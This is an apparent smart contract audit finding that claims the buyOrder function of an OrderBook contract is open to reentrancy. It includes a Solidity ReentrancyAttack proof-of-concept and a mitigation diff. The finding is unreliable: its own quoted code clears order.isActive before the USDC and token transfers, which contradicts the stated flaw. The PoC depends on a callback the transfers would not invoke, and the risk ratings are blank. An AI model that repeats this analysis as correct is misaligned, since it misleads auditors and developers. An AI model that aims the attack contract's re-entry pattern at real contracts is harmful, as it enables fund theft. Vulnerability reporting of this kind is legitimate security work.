No Reentrancy Guard on buyOrder
Description
The buyOrder function performs external calls (safeTransferFrom for USDC and safeTransfer for the token to sell) before updating the order.isActive state variable. This creates a reentrancy vulnerability, where a malicious contract acting as the buyer could re-enter the buyOrder function (via the safeTransferFrom call to the USDC contract) and repeatedly execute the function before the isActive flag is set to false, potentially draining funds or executing multiple unintended trades.
function buyOrder(uint256 _orderId) public {
Order storage order = orders[_orderId];
if (order.seller == address(0)) revert OrderNotFound();
if (!order.isActive) revert OrderNotActive();
if (block.timestamp >= order.deadlineTimestamp) revert OrderExpired();
order.isActive = false;
uint256 protocolFee = (order.priceInUSDC * FEE) / PRECISION;
uint256 sellerReceives = order.priceInUSDC - protocolFee;
iUSDC.safeTransferFrom(msg.sender, address(this), protocolFee);
iUSDC.safeTransferFrom(msg.sender, order.seller, sellerReceives);
IERC20(order.tokenToSell).safeTransfer(msg.sender, order.amountToSell);
totalFees += protocolFee;
emit OrderFilled(_orderId, msg.sender, order.seller);
}
Risk
Likelihood:
Impact:
Proof of Concept
This is an example PoC code to simulate sample ReentrancyAttack in the problem and explain how does it work.
pragma solidity ^0.8.0;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ReentrancyAttack {
OrderBook public orderBook;
IERC20 public usdc;
uint256 public attackOrderId;
bool private attacking;
constructor(address _orderBook, address _usdc) {
orderBook = OrderBook(_orderBook);
usdc = IERC20(_usdc);
}
function attack(uint256 _orderId) external {
attackOrderId = _orderId;
attacking = true;
usdc.approve(address(orderBook), type(uint256).max);
orderBook.buyOrder(_orderId);
}
function onTransferReceived(address, address, uint256, bytes calldata) external returns (bytes4) {
if (attacking && address(msg.sender) == address(orderBook)) {
orderBook.buyOrder(attackOrderId);
}
return bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"));
}
receive() external payable {}
}
interface OrderBook {
function buyOrder(uint256 _orderId) external;
}
Recommended Mitigation
Here is fix suggestion to import Openzeppelin's ReentrancyGuard library and use it in buyOrder function to prevent reentrance attack.
- remove this code
function buyOrder(uint256 _orderId) public {
Order storage order = orders[_orderId];
// Validation checks
if (order.seller == address(0)) revert OrderNotFound();
if (!order.isActive) revert OrderNotActive();
if (block.timestamp >= order.deadlineTimestamp) revert OrderExpired();
order.isActive = false;
uint256 protocolFee = (order.priceInUSDC * FEE) / PRECISION;
uint256 sellerReceives = order.priceInUSDC - protocolFee;
iUSDC.safeTransferFrom(msg.sender, address(this), protocolFee);
iUSDC.safeTransferFrom(msg.sender, order.seller, sellerReceives);
IERC20(order.tokenToSell).safeTransfer(msg.sender, order.amountToSell);
totalFees += protocolFee;
emit OrderFilled(_orderId, msg.sender, order.seller);
}
+ add this code
import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
function buyOrder(uint256 _orderId) public nonReentrant {
Order storage order = orders[_orderId];
// Validation checks
if (order.seller == address(0)) revert OrderNotFound();
if (!order.isActive) revert OrderNotActive();
if (block.timestamp >= order.deadlineTimestamp) revert OrderExpired();
// Update state first (Checks-Effects)
order.isActive = false;
uint256 protocolFee = (order.priceInUSDC * FEE) / PRECISION;
uint256 sellerReceives = order.priceInUSDC - protocolFee;
// Interactions
iUSDC.safeTransferFrom(msg.sender, address(this), protocolFee);
iUSDC.safeTransferFrom(msg.sender, order.seller, sellerReceives);
IERC20(order.tokenToSell).safeTransfer(msg.sender, order.amountToSell);
totalFees += protocolFee;
emit OrderFilled(_orderId, msg.sender, order.seller);
}
